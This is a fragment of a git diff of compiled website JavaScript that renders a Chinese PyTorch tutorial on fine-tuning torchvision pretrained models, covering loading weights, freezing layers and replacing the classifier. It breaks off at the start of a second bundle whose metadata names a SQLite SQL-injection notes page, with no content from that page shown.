\u4f7f\u7528\u5df2\u6709\u6a21\u578b\u7ed3\u6784",id:"632-\u4f7f\u7528\u5df2\u6709\u6a21\u578b\u7ed3\u6784",level:2},{value:"6.3.3 \u8bad\u7ec3\u7279\u5b9a\u5c42",id:"633-\u8bad\u7ec3\u7279\u5b9a\u5c42",level:2},{value:"\u672c\u8282\u53c2\u8003",id:"\u672c\u8282\u53c2\u8003",level:2}];function h(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(n.header,{children:(0,t.jsx)(n.h1,{id:"63-\u6a21\u578b\u5fae\u8c03-torchvisionmd",children:"6.3 \u6a21\u578b\u5fae\u8c03-torchvision.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:21"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,t.jsx)(n.h1,{id:"63-\u6a21\u578b\u5fae\u8c03-torchvision",children:"6.3 \u6a21\u578b\u5fae\u8c03-torchvision"}),"\n",(0,t.jsx)(n.p,{children:"\u968f\u7740\u6df1\u5ea6\u5b66\u4e60\u7684\u53d1\u5c55\uff0c\u6a21\u578b\u7684\u53c2\u6570\u8d8a\u6765\u8d8a\u5927\uff0c\u8bb8\u591a\u5f00\u6e90\u6a21\u578b\u90fd\u662f\u5728\u8f83\u5927\u6570\u636e\u96c6\u4e0a\u8fdb\u884c\u8bad\u7ec3\u7684\uff0c\u6bd4\u5982Imagenet-1k\uff0cImagenet-11k\uff0c\u751a\u81f3\u662fImageNet-21k\u7b49\u3002\u4f46\u5728\u5b9e\u9645\u5e94\u7528\u4e2d\uff0c\u6211\u4eec\u7684\u6570\u636e\u96c6\u53ef\u80fd\u53ea\u6709\u51e0\u5343\u5f20\uff0c\u8fd9\u65f6\u4ece\u5934\u5f00\u59cb\u8bad\u7ec3\u5177\u6709\u51e0\u5343\u4e07\u53c2\u6570\u7684\u5927\u578b\u795e\u7ecf\u7f51\u7edc\u662f\u4e0d\u73b0\u5b9e\u7684\uff0c\u56e0\u4e3a\u8d8a\u5927\u7684\u6a21\u578b\u5bf9\u6570\u636e\u91cf\u7684\u8981\u6c42\u8d8a\u5927\uff0c\u8fc7\u62df\u5408\u65e0\u6cd5\u907f\u514d\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u5047\u8bbe\u6211\u4eec\u60f3\u4ece\u56fe\u50cf\u4e2d\u8bc6\u522b\u51fa\uf967\u540c\u79cd\u7c7b\u7684\u6905\u2f26\uff0c\u7136\u540e\u5c06\u8d2d\u4e70\u94fe\u63a5\u63a8\u8350\u7ed9\u7528\u6237\u3002\u4e00\u79cd\u53ef\u80fd\u7684\u65b9\u6cd5\u662f\u5148\u627e\u51fa100\u79cd\u5e38\u89c1\u7684\u6905\u5b50\uff0c\u4e3a\u6bcf\u79cd\u6905\u5b50\u62cd\u64441000\u5f20\u4e0d\u540c\u2ec6\u5ea6\u7684\u56fe\u50cf\uff0c\u7136\u540e\u5728\u6536\u96c6\u5230\u7684\u56fe\u50cf\u6570\u636e\u96c6\u4e0a\u8bad\u7ec3\u4e00\u4e2a\u5206\u7c7b\u6a21\u578b\u3002\u8fd9\u4e2a\u6905\u5b50\u6570\u636e\u96c6\u867d\u7136\u53ef\u80fd\u6bd4Fashion-MNIST\u6570\u636e\u96c6\u8981\u5e9e\u2f24\uff0c\u4f46\u6837\u672c\u6570\u4ecd\u7136\u4e0d\u53caImageNet\u6570\u636e\u96c6\u4e2d\u6837\u672c\u6570\u7684\u5341\u5206\u4e4b\u2f00\u3002\u8fd9\u53ef\u80fd\u4f1a\u5bfc\u81f4\u9002\u7528\u4e8eImageNet\u6570\u636e\u96c6\u7684\u590d\u6742\u6a21\u578b\u5728\u8fd9\u4e2a\u6905\u2f26\u6570\u636e\u96c6\u4e0a\u8fc7\u62df\u5408\u3002\u540c\u65f6\uff0c\u56e0\u4e3a\u6570\u636e\u91cf\u6709\u9650\uff0c\u6700\u7ec8\u8bad\u7ec3\u5f97\u5230\u7684\u6a21\u578b\u7684\u7cbe\u5ea6\u4e5f\u53ef\u80fd\u8fbe\uf967\u5230\u5b9e\u7528\u7684\u8981\u6c42\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u4e3a\uf9ba\u5e94\u5bf9\u4e0a\u8ff0\u95ee\u9898\uff0c\u4e00\u4e2a\u663e\u2f7d\uf9e0\u2ec5\u7684\u89e3\u51b3\u529e\u6cd5\u662f\u6536\u96c6\uf901\u591a\u7684\u6570\u636e\u3002\u7136\u800c\uff0c\u6536\u96c6\u548c\u6807\u6ce8\u6570\u636e\u4f1a\u82b1\u8d39\u5927\uf97e\u7684\u65f6\u95f4\u548c\u8d44\u2fa6\u3002\uf9b5\u5982\uff0c\u4e3a\u4e86\u6536\u96c6ImageNet\u6570\u636e\u96c6\uff0c\u7814\u7a76\u4eba\u5458\u82b1\u8d39\uf9ba\u6570\u767e\u4e07\u7f8e\u5143\u7684\u7814\u7a76\u7ecf\u8d39\u3002\u867d\u7136\u76ee\u524d\u7684\u6570\u636e\u91c7\u96c6\u6210\u672c\u5df2\u964d\u4f4e\uf9ba\uf967\u5c11\uff0c\u4f46\u5176\u6210\u672c\u4ecd\u7136\uf967\u53ef\u5ffd\uf976\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u53e6\u5916\u4e00\u79cd\u89e3\u51b3\u529e\u6cd5\u662f\u5e94\u7528\u8fc1\u79fb\u5b66\u4e60(transfer learning)\uff0c\u5c06\u4ece\u6e90\u6570\u636e\u96c6\u5b66\u5230\u7684\u77e5\u8bc6\u8fc1\u79fb\u5230\u76ee\u6807\u6570\u636e\u96c6\u4e0a\u3002\uf9b5\u5982\uff0c\u867d\u7136ImageNet\u6570\u636e\u96c6\u7684\u56fe\u50cf\u5927\u591a\u8ddf\u6905\u5b50\u65e0\u5173\uff0c\u4f46\u5728\u8be5\u6570\u636e\u96c6\u4e0a\u8bad\u7ec3\u7684\u6a21\u578b\u53ef\u4ee5\u62bd\u53d6\u8f83\u901a\u7528\u7684\u56fe\u50cf\u7279\u5f81\uff0c\u4ece\u800c\u80fd\u591f\u5e2e\u52a9\u8bc6\u522b\u8fb9\u7f18\u3001\u7eb9\uf9e4\u3001\u5f62\u72b6\u548c\u7269\u4f53\u7ec4\u6210\u7b49\u3002\u8fd9\u4e9b\u7c7b\u4f3c\u7684\u7279\u5f81\u5bf9\u4e8e\u8bc6\u522b\u6905\u5b50\u4e5f\u53ef\u80fd\u540c\u6837\u6709\u6548\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u8fc1\u79fb\u5b66\u4e60\u7684\u4e00\u5927\u5e94\u7528\u573a\u666f\u662f\u6a21\u578b\u5fae\u8c03\uff08finetune\uff09\u3002\u7b80\u5355\u6765\u8bf4\uff0c\u5c31\u662f\u6211\u4eec\u5148\u627e\u5230\u4e00\u4e2a\u540c\u7c7b\u7684\u522b\u4eba\u8bad\u7ec3\u597d\u7684\u6a21\u578b\uff0c\u628a\u522b\u4eba\u73b0\u6210\u7684\u8bad\u7ec3\u597d\u4e86\u7684\u6a21\u578b\u62ff\u8fc7\u6765\uff0c\u6362\u6210\u81ea\u5df1\u7684\u6570\u636e\uff0c\u901a\u8fc7\u8bad\u7ec3\u8c03\u6574\u4e00\u4e0b\u53c2\u6570\u3002 \u5728PyTorch\u4e2d\u63d0\u4f9b\u4e86\u8bb8\u591a\u9884\u8bad\u7ec3\u597d\u7684\u7f51\u7edc\u6a21\u578b\uff08VGG\uff0cResNet\u7cfb\u5217\uff0cmobilenet\u7cfb\u5217......\uff09\uff0c\u8fd9\u4e9b\u6a21\u578b\u90fd\u662fPyTorch\u5b98\u65b9\u5728\u76f8\u5e94\u7684\u5927\u578b\u6570\u636e\u96c6\u8bad\u7ec3\u597d\u7684\u3002\u5b66\u4e60\u5982\u4f55\u8fdb\u884c\u6a21\u578b\u5fae\u8c03\uff0c\u53ef\u4ee5\u65b9\u4fbf\u6211\u4eec\u5feb\u901f\u4f7f\u7528\u9884\u8bad\u7ec3\u6a21\u578b\u5b8c\u6210\u81ea\u5df1\u7684\u4efb\u52a1\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsx)(n.li,{children:"\u638c\u63e1\u6a21\u578b\u5fae\u8c03\u7684\u6d41\u7a0b"}),"\n",(0,t.jsx)(n.li,{children:"\u4e86\u89e3PyTorch\u63d0\u4f9b\u7684\u5e38\u7528model"}),"\n",(0,t.jsx)(n.li,{children:"\u638c\u63e1\u5982\u4f55\u6307\u5b9a\u8bad\u7ec3\u6a21\u578b\u7684\u90e8\u5206\u5c42"}),"\n"]}),"\n",(0,t.jsx)(n.h2,{id:"631-\u6a21\u578b\u5fae\u8c03\u7684\u6d41\u7a0b",children:"6.3.1 \u6a21\u578b\u5fae\u8c03\u7684\u6d41\u7a0b"}),"\n",(0,t.jsxs)(n.ol,{children:["\n",(0,t.jsx)(n.li,{children:"\u5728\u6e90\u6570\u636e\u96c6(\u5982ImageNet\u6570\u636e\u96c6)\u4e0a\u9884\u8bad\u7ec3\u4e00\u4e2a\u795e\u7ecf\u7f51\u7edc\u6a21\u578b\uff0c\u5373\u6e90\u6a21\u578b\u3002"}),"\n",(0,t.jsx)(n.li,{children:"\u521b\u5efa\u4e00\u4e2a\u65b0\u7684\u795e\u7ecf\u7f51\u7edc\u6a21\u578b\uff0c\u5373\u76ee\u6807\u6a21\u578b\u3002\u5b83\u590d\u5236\uf9ba\u6e90\u6a21\u578b\u4e0a\u9664\uf9ba\u8f93\u51fa\u5c42\u5916\u7684\u6240\u6709\u6a21\u578b\u8bbe\u8ba1\u53ca\u5176\u53c2\u6570\u3002\u6211\u4eec\u5047\u8bbe\u8fd9\u4e9b\u6a21\u578b\u53c2\u6570\u5305\u542b\uf9ba\u6e90\u6570\u636e\u96c6\u4e0a\u5b66\u4e60\u5230\u7684\u77e5\u8bc6\uff0c\u4e14\u8fd9\u4e9b\u77e5\u8bc6\u540c\u6837\u9002\u7528\u4e8e\u76ee\u6807\u6570\u636e\u96c6\u3002\u6211\u4eec\u8fd8\u5047\u8bbe\u6e90\u6a21\u578b\u7684\u8f93\u51fa\u5c42\u8ddf\u6e90\u6570\u636e\u96c6\u7684\u6807\u7b7e\u7d27\u5bc6\u76f8\u5173\uff0c\u56e0\u6b64\u5728\u76ee\u6807\u6a21\u578b\u4e2d\u4e0d\u4e88\u91c7\u7528\u3002"}),"\n",(0,t.jsx)(n.li,{children:"\u4e3a\u76ee\u6807\u6a21\u578b\u6dfb\u52a0\u4e00\u4e2a\u8f93\u51fa\u2f24\u5c0f\u4e3a\u2f6c\u6807\u6570\u636e\u96c6\u7c7b\u522b\u4e2a\u6570\u7684\u8f93\u51fa\u5c42\uff0c\u5e76\u968f\u673a\u521d\u59cb\u5316\u8be5\u5c42\u7684\u6a21\u578b\u53c2\u6570\u3002"}),"\n",(0,t.jsx)(n.li,{children:"\u5728\u76ee\u6807\u6570\u636e\u96c6\u4e0a\u8bad\u7ec3\u76ee\u6807\u6a21\u578b\u3002\u6211\u4eec\u5c06\u4ece\u5934\u8bad\u7ec3\u8f93\u51fa\u5c42\uff0c\u800c\u5176\u4f59\u5c42\u7684\u53c2\u6570\u90fd\u662f\u57fa\u4e8e\u6e90\u6a21\u578b\u7684\u53c2\u6570\u5fae\u8c03\u5f97\u5230\u7684\u3002"}),"\n"]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"finetune",src:r(95124).A+"",width:"1462",height:"908"})}),"\n",(0,t.jsx)(n.h2,{id:"632-\u4f7f\u7528\u5df2\u6709\u6a21\u578b\u7ed3\u6784",children:"6.3.2 \u4f7f\u7528\u5df2\u6709\u6a21\u578b\u7ed3\u6784"}),"\n",(0,t.jsx)(n.p,{children:"\u8fd9\u91cc\u6211\u4eec\u4ee5torchvision\u4e2d\u7684\u5e38\u89c1\u6a21\u578b\u4e3a\u4f8b\uff0c\u5217\u51fa\u4e86\u5982\u4f55\u5728\u56fe\u50cf\u5206\u7c7b\u4efb\u52a1\u4e2d\u4f7f\u7528PyTorch\u63d0\u4f9b\u7684\u5e38\u89c1\u6a21\u578b\u7ed3\u6784\u548c\u53c2\u6570\u3002\u5bf9\u4e8e\u5176\u4ed6\u4efb\u52a1\u548c\u7f51\u7edc\u7ed3\u6784\uff0c\u4f7f\u7528\u65b9\u5f0f\u662f\u7c7b\u4f3c\u7684\uff1a"}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsxs)(n.li,{children:["\n",(0,t.jsx)(n.p,{children:"\u5b9e\u4f8b\u5316\u7f51\u7edc"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"import torchvision.models as models\nresnet18 = models.resnet18()\n# resnet18 = models.resnet18(pretrained=False) \u7b49\u4ef7\u4e8e\u4e0e\u4e0a\u9762\u7684\u8868\u8fbe\u5f0f\nalexnet = models.alexnet()\nvgg16 = models.vgg16()\nsqueezenet = models.squeezenet1_0()\ndensenet = models.densenet161()\ninception = models.inception_v3()\ngooglenet = models.googlenet()\nshufflenet = models.shufflenet_v2_x1_0()\nmobilenet_v2 = models.mobilenet_v2()\nmobilenet_v3_large = models.mobilenet_v3_large()\nmobilenet_v3_small = models.mobilenet_v3_small()\nresnext50_32x4d = models.resnext50_32x4d()\nwide_resnet50_2 = models.wide_resnet50_2()\nmnasnet = models.mnasnet1_0()\n"})}),"\n"]}),"\n",(0,t.jsxs)(n.li,{children:["\n",(0,t.jsxs)(n.p,{children:["\u4f20\u9012",(0,t.jsx)(n.code,{children:"pretrained"}),"\u53c2\u6570"]}),"\n"]}),"\n"]}),"\n",(0,t.jsxs)(n.p,{children:["\u901a\u8fc7",(0,t.jsx)(n.code,{children:"True"}),"\u6216\u8005",(0,t.jsx)(n.code,{children:"False"}),"\u6765\u51b3\u5b9a\u662f\u5426\u4f7f\u7528\u9884\u8bad\u7ec3\u597d\u7684\u6743\u91cd\uff0c\u5728\u9ed8\u8ba4\u72b6\u6001\u4e0b",(0,t.jsx)(n.code,{children:"pretrained = False"}),"\uff0c\u610f\u5473\u7740\u6211\u4eec\u4e0d\u4f7f\u7528\u9884\u8bad\u7ec3\u5f97\u5230\u7684\u6743\u91cd\uff0c\u5f53",(0,t.jsx)(n.code,{children:"pretrained = True"}),"\uff0c\u610f\u5473\u7740\u6211\u4eec\u5c06\u4f7f\u7528\u5728\u4e00\u4e9b\u6570\u636e\u96c6\u4e0a\u9884\u8bad\u7ec3\u5f97\u5230\u7684\u6743\u91cd\u3002"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"import torchvision.models as models\nresnet18 = models.resnet18(pretrained=True)\nalexnet = models.alexnet(pretrained=True)\nsqueezenet = models.squeezenet1_0(pretrained=True)\nvgg16 = models.vgg16(pretrained=True)\ndensenet = models.densenet161(pretrained=True)\ninception = models.inception_v3(pretrained=True)\ngooglenet = models.googlenet(pretrained=True)\nshufflenet = models.shufflenet_v2_x1_0(pretrained=True)\nmobilenet_v2 = models.mobilenet_v2(pretrained=True)\nmobilenet_v3_large = models.mobilenet_v3_large(pretrained=True)\nmobilenet_v3_small = models.mobilenet_v3_small(pretrained=True)\nresnext50_32x4d = models.resnext50_32x4d(pretrained=True)\nwide_resnet50_2 = models.wide_resnet50_2(pretrained=True)\nmnasnet = models.mnasnet1_0(pretrained=True)\n"})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.strong,{children:"\u6ce8\u610f\u4e8b\u9879\uff1a"})}),"\n",(0,t.jsxs)(n.ol,{children:["\n",(0,t.jsxs)(n.li,{children:["\n",(0,t.jsxs)(n.p,{children:["\u901a\u5e38PyTorch\u6a21\u578b\u7684\u6269\u5c55\u4e3a",(0,t.jsx)(n.code,{children:".pt"}),"\u6216",(0,t.jsx)(n.code,{children:".pth"}),"\uff0c\u7a0b\u5e8f\u8fd0\u884c\u65f6\u4f1a\u9996\u5148\u68c0\u67e5\u9ed8\u8ba4\u8def\u5f84\u4e2d\u662f\u5426\u6709\u5df2\u7ecf\u4e0b\u8f7d\u7684\u6a21\u578b\u6743\u91cd\uff0c\u4e00\u65e6\u6743\u91cd\u88ab\u4e0b\u8f7d\uff0c\u4e0b\u6b21\u52a0\u8f7d\u5c31\u4e0d\u9700\u8981\u4e0b\u8f7d\u4e86\u3002"]}),"\n"]}),"\n",(0,t.jsxs)(n.li,{children:["\n",(0,t.jsxs)(n.p,{children:["\u4e00\u822c\u60c5\u51b5\u4e0b\u9884\u8bad\u7ec3\u6a21\u578b\u7684\u4e0b\u8f7d\u4f1a\u6bd4\u8f83\u6162\uff0c\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u901a\u8fc7\u8fc5\u96f7\u6216\u8005\u5176\u4ed6\u65b9\u5f0f\u53bb ",(0,t.jsx)(n.a,{href:"https://github.com/pytorch/vision/tree/master/torchvision/models",children:"\u8fd9\u91cc"})," \u67e5\u770b\u81ea\u5df1\u7684\u6a21\u578b\u91cc\u9762",(0,t.jsx)(n.code,{children:"model_urls"}),"\uff0c\u7136\u540e\u624b\u52a8\u4e0b\u8f7d\uff0c\u9884\u8bad\u7ec3\u6a21\u578b\u7684\u6743\u91cd\u5728",(0,t.jsx)(n.code,{children:"Linux"}),"\u548c",(0,t.jsx)(n.code,{children:"Mac"}),"\u7684\u9ed8\u8ba4\u4e0b\u8f7d\u8def\u5f84\u662f\u7528\u6237\u6839\u76ee\u5f55\u4e0b\u7684",(0,t.jsx)(n.code,{children:".cache"}),"\u6587\u4ef6\u5939\u3002\u5728",(0,t.jsx)(n.code,{children:"Windows"}),"\u4e0b\u5c31\u662f",(0,t.jsx)(n.code,{children:"C:\\Users\\<username>\\.cache\\torch\\hub\\checkpoint"}),"\u3002\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u4f7f\u7528 ",(0,t.jsx)(n.a,{href:"https://pytorch.org/docs/stable/model_zoo.html#torch.utils.model_zoo.load_url",children:(0,t.jsx)(n.code,{children:"torch.utils.model_zoo.load_url()"})}),"\u8bbe\u7f6e\u6743\u91cd\u7684\u4e0b\u8f7d\u5730\u5740\u3002"]}),"\n"]}),"\n",(0,t.jsxs)(n.li,{children:["\n",(0,t.jsx)(n.p,{children:"\u5982\u679c\u89c9\u5f97\u9ebb\u70e6\uff0c\u8fd8\u53ef\u4ee5\u5c06\u81ea\u5df1\u7684\u6743\u91cd\u4e0b\u8f7d\u4e0b\u6765\u653e\u5230\u540c\u6587\u4ef6\u5939\u4e0b\uff0c\u7136\u540e\u518d\u5c06\u53c2\u6570\u52a0\u8f7d\u7f51\u7edc\u3002"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"self.model = models.resnet50(pretrained=False)\nself.model.load_state_dict(torch.load('./model/resnet50-19c8e357.pth'))\n"})}),"\n"]}),"\n",(0,t.jsxs)(n.li,{children:["\n",(0,t.jsx)(n.p,{children:"\u5982\u679c\u4e2d\u9014\u5f3a\u884c\u505c\u6b62\u4e0b\u8f7d\u7684\u8bdd\uff0c\u4e00\u5b9a\u8981\u53bb\u5bf9\u5e94\u8def\u5f84\u4e0b\u5c06\u6743\u91cd\u6587\u4ef6\u5220\u9664\u5e72\u51c0\uff0c\u8981\u4e0d\u7136\u53ef\u80fd\u4f1a\u62a5\u9519\u3002"}),"\n"]}),"\n"]}),"\n",(0,t.jsx)(n.h2,{id:"633-\u8bad\u7ec3\u7279\u5b9a\u5c42",children:"6.3.3 \u8bad\u7ec3\u7279\u5b9a\u5c42"}),"\n",(0,t.jsxs)(n.p,{children:["\u5728\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u53c2\u6570\u7684\u5c5e\u6027",(0,t.jsx)(n.code,{children:".requires_grad = True"}),"\uff0c\u5982\u679c\u6211\u4eec\u4ece\u5934\u5f00\u59cb\u8bad\u7ec3\u6216\u5fae\u8c03\u4e0d\u9700\u8981\u6ce8\u610f\u8fd9\u91cc\u3002\u4f46\u5982\u679c\u6211\u4eec\u6b63\u5728\u63d0\u53d6\u7279\u5f81\u5e76\u4e14\u53ea\u60f3\u4e3a\u65b0\u521d\u59cb\u5316\u7684\u5c42\u8ba1\u7b97\u68af\u5ea6\uff0c\u5176\u4ed6\u53c2\u6570\u4e0d\u8fdb\u884c\u6539\u53d8\u3002\u90a3\u6211\u4eec\u5c31\u9700\u8981\u901a\u8fc7\u8bbe\u7f6e",(0,t.jsx)(n.code,{children:"requires_grad = False"}),"\u6765\u51bb\u7ed3\u90e8\u5206\u5c42\u3002\u5728PyTorch\u5b98\u65b9\u4e2d\u63d0\u4f9b\u4e86\u8fd9\u6837\u4e00\u4e2a\u4f8b\u7a0b\u3002"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"def set_parameter_requires_grad(model, feature_extracting):\n if feature_extracting:\n for param in model.parameters():\n param.requires_grad = False\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u5728\u4e0b\u9762\u6211\u4eec\u4ecd\u65e7\u4f7f\u7528",(0,t.jsx)(n.code,{children:"resnet18"}),"\u4e3a\u4f8b\u7684\u5c061000\u7c7b\u6539\u4e3a4\u7c7b\uff0c\u4f46\u662f\u4ec5\u6539\u53d8\u6700\u540e\u4e00\u5c42\u7684\u6a21\u578b\u53c2\u6570\uff0c\u4e0d\u6539\u53d8\u7279\u5f81\u63d0\u53d6\u7684\u6a21\u578b\u53c2\u6570\uff1b\u6ce8\u610f\u6211\u4eec\u5148\u51bb\u7ed3\u6a21\u578b\u53c2\u6570\u7684\u68af\u5ea6\uff0c\u518d\u5bf9\u6a21\u578b\u8f93\u51fa\u90e8\u5206\u7684\u5168\u8fde\u63a5\u5c42\u8fdb\u884c\u4fee\u6539\uff0c\u8fd9\u6837\u4fee\u6539\u540e\u7684\u5168\u8fde\u63a5\u5c42\u7684\u53c2\u6570\u5c31\u662f\u53ef\u8ba1\u7b97\u68af\u5ea6\u7684\u3002"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"import torchvision.models as models\n# \u51bb\u7ed3\u53c2\u6570\u7684\u68af\u5ea6\nfeature_extract = True\nmodel = models.resnet18(pretrained=True)\nset_parameter_requires_grad(model, feature_extract)\n# \u4fee\u6539\u6a21\u578b\nnum_ftrs = model.fc.in_features\nmodel.fc = nn.Linear(in_features=num_ftrs, out_features=4, bias=True)\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u4e4b\u540e\u5728\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\uff0cmodel\u4ecd\u4f1a\u8fdb\u884c\u68af\u5ea6\u56de\u4f20\uff0c\u4f46\u662f\u53c2\u6570\u66f4\u65b0\u5219\u53ea\u4f1a\u53d1\u751f\u5728fc\u5c42\u3002\u901a\u8fc7\u8bbe\u5b9a\u53c2\u6570\u7684requires_grad\u5c5e\u6027\uff0c\u6211\u4eec\u5b8c\u6210\u4e86\u6307\u5b9a\u8bad\u7ec3\u6a21\u578b\u7684\u7279\u5b9a\u5c42\u7684\u76ee\u6807\uff0c\u8fd9\u5bf9\u5b9e\u73b0\u6a21\u578b\u5fae\u8c03\u975e\u5e38\u91cd\u8981\u3002"}),"\n",(0,t.jsx)(n.h2,{id:"\u672c\u8282\u53c2\u8003",children:"\u672c\u8282\u53c2\u8003"}),"\n",(0,t.jsxs)(n.ol,{children:["\n",(0,t.jsx)(n.li,{children:(0,t.jsx)(n.a,{href:"https://www.pytorchtutorial.com/docs/package_references/torch-optim/",children:"\u53c2\u6570\u66f4\u65b0"})}),"\n",(0,t.jsx)(n.li,{children:(0,t.jsx)(n.a,{href:"https://blog.csdn.net/jdzwanghao/article/details/90402577",children:"\u7ed9\u4e0d\u540c\u5c42\u5206\u914d\u4e0d\u540c\u7684\u5b66\u4e60\u7387"})}),"\n"]})]})}function a(e={}){const{wrapper:n}={...(0,l.R)(),...e.components};return n?(0,t.jsx)(n,{...e,children:(0,t.jsx)(h,{...e})}):h(e)}},28453:(e,n,r)=>{r.d(n,{R:()=>i,x:()=>d});var s=r(96540);const t={},l=s.createContext(t);function i(e){const n=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:i(e.components),s.createElement(l.Provider,{value:n},e.children)}},95124:(e,n,r)=>{r.d(n,{A:()=>s});const s=r.p+"assets/images/finetune-879a4a076ff832b72bdb0579b0a531e9.png"}}]); \ No newline at end of file diff --git a/en/assets/js/3833396f.a559ee5c.js b/en/assets/js/3833396f.a559ee5c.js new file mode 100644 index 0000000..4246ef5 --- /dev/null +++ b/en/assets/js/3833396f.a559ee5c.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8456],{28453:(e,l,n)=>{n.d(l,{R:()=>a,x:()=>r});var s=n(96540);const t={},i=s.createContext(t);function a(e){const l=s.useContext(i);return s.useMemo(function(){return"function"==typeof e?e(l):{...l,...e}},[l,e])}function r(e){let l;return l=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:a(e.components),s.createElement(i.Provider,{value:l},e.children)}},48488:(e,l,n)=>{n.r(l),n.d(l,{assets:()=>d,contentTitle:()=>r,default:()=>h,frontMatter:()=>a,metadata:()=>s,toc:()=>c});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/SQLite","title":"SQLite","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/06.SQLite.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/SQLite","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/SQLite","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/06.SQLite.md","tags":[],"version":"current","sidebarPosition":6,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"PostgreSQL","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/PostgreSQL"},"next":{"title":"MSSQL","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MSSQL"}}');var t=n(74848),i=n(28453);const a={},r=void 0,d={},c=[{value:"SQLite \u6ce8\u91ca",id:"sqlite-\u6ce8\u91ca",level:2},{value:"SQLite 